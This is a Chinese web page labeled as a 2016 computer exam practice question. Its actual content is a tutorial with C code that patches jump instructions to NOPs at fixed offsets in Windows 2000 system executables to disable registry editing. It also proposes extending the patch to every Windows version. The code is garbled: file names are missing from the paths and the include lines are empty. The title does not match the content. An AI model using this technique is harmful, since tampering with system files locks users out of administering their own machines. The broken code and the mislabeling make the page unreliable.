當前位置:才華齋>計算機>計算機二級>

2016最新計算機二級考試操作題

計算機二級 閱讀(1.9W)

你有沒有遇到登錄檔被鎖定,無法開啟登錄檔來手工修復呢?很多人都為這個頭疼吧,相信你被鎖定一次就知道他的操作原理了:

2016最新計算機二級考試操作題

修改[HKEY_CURRENT_USERSoftware

MicrosoftWindowsCurrent

VersionPolicIEsSystem]下的DisableRegistryTools值為1

解鎖的方法也有幾種,比如程式用API函式呼叫登錄檔直接刪除,做一個REG檔案直接匯入,寫一個指令碼…………

今天我就教大家寫個程式來實現另類鎖定,是不是很好奇了?跟我來。

實驗環境:Windows2000

實驗目的`:鎖定登錄檔(本方法利用了Cracker的思路來實現,直接讓程式修改程式指令,使呼叫登錄檔程式禁止。)

實現方法:C程式

首先我們要按照Cracker的思路反彙編WINNT下的和找到跳轉指令,怎麼得到這些資訊不是我們今天的目的,這裡我就不詳細介紹了,以下是我反彙編找到的跳轉地址:

偏移地址:0x69CA 將指令:0x74 0x1A 修改成:0x90 0x90

偏移地址:0x10bf2 將指令:0x74 0x52 修改成:0x90 0x90

現在我們用程式把這2個偏移地址的指令給修改成0x90 0x90 ( 0x90代表nop,就是讓程式什麼也不做,執行下一條指令)讓我們看看程式是如何實現的吧。

#include

#include

bool scanreg(const char *file,long offset, int length,char *the);

main()

{

char the[]={ 0x90,0x90 };

scanreg("C:WINNT",0x69CA,0x02,the);

scanreg("C:WINNTServicePackFilesi386",0x69CA,0x02,the);

scanreg("C:WINNTsystem32",0x10bf2,0x02,the);

scanreg("C:WINNTServicePackFilesi386",0x10bf2,0x02,the);

}

bool scanreg(const char *file,long offset, int length,char *the)

{

FILE *fp = NULL;

bool result=false;

if((fp=fopen(file,"rb+"))!=NULL)

{

fseek(fp,offset,1);

fwrite(the,length,1,fp);

fclose(fp);

result=true;

}

return(result);

}

好了,我這裡只是一個示範,只適合2000系統,把windows每種系統的登錄檔呼叫程式都分析一下,然後在程式開始用API函式GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判斷系統,根據判斷的系統來呼叫相應的修改函式。那不是通殺windows了?上面把方法公佈出來,以便大家做好防範。